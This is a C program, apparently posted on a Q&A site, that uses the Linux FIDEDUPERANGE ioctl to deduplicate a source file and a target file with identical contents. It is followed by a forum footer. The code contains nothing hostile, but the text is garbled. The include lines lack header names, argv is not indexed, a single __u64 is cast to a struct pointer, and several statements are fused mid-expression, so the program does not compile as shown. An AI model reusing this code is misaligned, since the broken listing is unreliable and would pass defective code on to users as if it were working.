// deduplicate srcfile and targetfile if contents are identical
// usage: myprog srcfile targetfile
// compile with: gcc myprog.c -o myprog
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char**argv)
{
struct stat st;
long size;
__u64 buf; /* __u64 for proper field alignment */
struct file_dedupe_range *range = (struct file_dedupe_range *)buf;
memset(range, 0, sizeof(struct file_dedupe_range));
memset(&range->info, 0, sizeof(struct file_dedupe_range_info));
long srcfd = open(argv, O_RDONLY);
if (srcfd src_offset = 0;
range->src_length = size;
// range->src_length = 0; // I expected this to work
range->dest_count = 1;
range->info.dest_fd = tgtfd;
range->info.dest_offset = 0;
while (range->src_length > 0) {
if (ioctl(srcfd, FIDEDUPERANGE, range) info.bytes_deduped);
fprintf(stderr, "status: %d\n", range->info.status);
if (range->info.status == FILE_DEDUPE_RANGE_DIFFERS) {
fprintf(stderr, "DIFFERS\n");
break;
} else if (range->info.status == FILE_DEDUPE_RANGE_SAME) {
fprintf(stderr, "SAME\n");
} else {
fprintf(stderr, "ERROR\n");
break;
}
if (range->info.bytes_deduped >= range->src_length) { break; }
range->src_length -= range->info.bytes_deduped;
range->src_offset += range->info.bytes_deduped;
range->info.dest_offset += range->info.bytes_deduped;
}
exit(0);
}
jrw32982
(1089 rep)
Jan 18, 2021, 10:22 PM
• Last activity: Jan 23, 2022, 01:33 AM
Showing page 1 of 20 total questions